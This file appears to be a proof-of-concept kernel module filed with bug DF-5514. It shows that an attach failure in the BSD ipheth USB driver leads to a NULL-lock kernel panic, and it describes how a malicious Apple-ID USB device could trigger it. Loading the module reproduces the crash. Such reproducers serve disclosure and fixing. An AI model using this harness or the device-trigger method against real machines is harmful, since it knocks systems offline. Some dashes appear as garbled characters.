DF-5514 / ipheth_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | /* * DF-5514 PoC harness โ if_ipheth.c attach-failure DF-5334-class panic. * * Target: sys/bus/u4b/net/if_ipheth.c ipheth_attach() error branches: * * 225: sc->sc_iface_no = uaa->info.bIfaceIndex; * 227: device_set_usb_desc(dev); * 229: lockinit(&sc->sc_lock, device_get_nameunit(dev), 0, LK_CANRECURSE); * 231: error = usbd_set_alt_interface_index(uaa->device, * 232: uaa->info.bIfaceIndex, IPHETH_ALT_INTFNUM); * 233: if (error) { * 234: device_printf(dev, "Cannot set alternate setting\n"); * 235: goto detach; <-- branch 1 * 236: } * 237: error = usbd_transfer_setup(uaa->device, &sc->sc_iface_no, * 238: sc->sc_xfer, ipheth_config, IPHETH_N_TRANSFER, sc, &sc->sc_lock); * 239: if (error) { * 240: device_printf(dev, "Cannot setup USB transfers\n"); * 241: goto detach; <-- branch 2 * 242: } * 243: ue->ue_sc = sc; * 244: ue->ue_dev = dev; * 245: ue->ue_udev = uaa->device; * 246: ue->ue_lock = &sc->sc_lock; * 247: ue->ue_methods = &ipheth_ue_methods; * 249: error = ipheth_get_mac_addr(sc); * 250: if (error) { * 251: device_printf(dev, "Cannot get MAC address\n"); * 252: goto detach; <-- branch 3 * 253: } * 255: error = uether_ifattach(ue); * 256: if (error) { * 257: device_printf(dev, "could not attach interface\n"); * 258: goto detach; <-- branch 4 * 259: } * 260: return (0); [success] * * 262: detach: * 263: ipheth_detach(dev); * 264: return (ENXIO); [failure] * * ipheth_detach() (if_ipheth.c:267-281) then runs, in order: * * 274: usbd_transfer_unsetup(sc->sc_xfer, IPHETH_N_TRANSFER); * 276: uether_ifdetach(ue); * * On branches 1-2 the usb_ether embedded at sc->sc_ue is still ENTIRELY * ZEROED (ue_sc/ue_dev/ue_udev/ue_lock/ue_methods are assigned only at * if_ipheth.c:243-247, AFTER the failing calls; the newbus softc is * allocated M_ZERO). uether_ifdetach() * (sys/bus/u4b/net/usb_ethernet.c:267-305): * * 273: usb_proc_drain(&ue->ue_tq); <- no-op, up_lock == NULL * 276: ifp = uether_getifp(ue); <- embedded arpcom ifnet, NEVER NULL * 278: if (ifp != NULL) { <- dead guard, always true * 281: UE_LOCK(ue); <- lockmgr(NULL, LK_EXCLUSIVE) * ==> Fatal trap 12, fault VA 0x0 * * On branches 3-4 (ue_lock already set, uether_ifattach() never ran or * self-freed its ue_tq via usb_proc_create()'s error path) the same call * instead reaches ether_ifdetach() on the embedded ifnet that was never * if_attach()ed โ the DF-2341/DF-5493 latent-corruption path. * * The trigger is fully device-controlled: ipheth_devs[] is a * product-agnostic match (if_ipheth.c:174-177) โ ANY USB device with * vendor ID 0x05ac (Apple) exposing an interface with class 0xff / * subclass 0xfd / protocol 1 probes and attaches ipheth(4). The device * firmware then only has to STALL the SET_INTERFACE(alt 1) control * request (branch 1), omit the bulk endpoints (branch 2), or STALL the * 0x40 GET_MACADDR vendor request (branch 3) โ an evil-USB-adapter / * evil-dock / VM-attach scenario, no iPhone needed. * * This KLD replays ipheth_detach() verbatim on that exact branch-1 state * using the production usbd_transfer_unsetup() and uether_ifdetach() * (exported by uether.ko). The only non-production code is the static * ipheth_attach()/ipheth_detach() plumbing itself (they are static in * if_ipheth.c, unreachable without a physical Apple device; the failure * branch reaches them through a plain goto). */ #include <sys/stdint.h> #include <sys/param.h> #include <sys/queue.h> #include <sys/types.h> #include <sys/systm.h> #include <sys/socket.h> #include <sys/kernel.h> #include <sys/bus.h> #include <sys/module.h> #include <sys/lock.h> #include <sys/condvar.h> #include <sys/sysctl.h> #include <sys/unistd.h> #include <sys/callout.h> #include <sys/malloc.h> #include <sys/caps.h> #include <net/if.h> #include <net/if_var.h> #include <bus/u4b/usb.h> #include <bus/u4b/usbdi.h> #include <bus/u4b/usb_process.h> #include <bus/u4b/net/usb_ethernet.h> #include <bus/u4b/net/if_iphethvar.h> static int ipheth_poc_modevent(module_t mod, int type, void *arg) { struct ipheth_softc *sc; switch (type) { case MOD_LOAD: kprintf("ipheth_poc: constructing post-'Cannot set alternate " "setting' state (if_ipheth.c:231-236)\n"); sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO); if (sc == NULL) return (ENOMEM); /* if_ipheth.c:225 + :229: the only softc fields initialised * before the failing usbd_set_alt_interface_index() at * if_ipheth.c:231 */ sc->sc_iface_no = 0; lockinit(&sc->sc_lock, "ipheth_poc", 0, LK_CANRECURSE); kprintf("ipheth_poc: state check: ue_lock=%p ue_dev=%p " "ue_udev=%p ue_tq.up_lock=%p (all must be 0/NULL)\n", sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev, sc->sc_ue.ue_udev, sc->sc_ue.ue_tq.up_lock); kprintf("ipheth_poc: entering ipheth_detach() replay: " "usbd_transfer_unsetup() + uether_ifdetach() " "(if_ipheth.c:274+276)\n"); /* if_ipheth.c:274 โ production code, zeroed xfer array == * branch-1 state (usbd_transfer_setup never ran) */ usbd_transfer_unsetup(sc->sc_xfer, IPHETH_N_TRANSFER); /* if_ipheth.c:276 -> uether_ifdetach() -> UE_LOCK(ue) -> * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */ uether_ifdetach(&sc->sc_ue); kprintf("ipheth_poc: SURVIVED uether_ifdetach() (UNEXPECTED โ " "guard present?)\n"); lockuninit(&sc->sc_lock); kfree(sc, M_TEMP); return (0); default: return (0); } } static moduledata_t ipheth_poc_mod = { "ipheth_poc", ipheth_poc_modevent, NULL }; DECLARE_MODULE(ipheth_poc, ipheth_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(ipheth_poc, uether, 1, 1, 1); |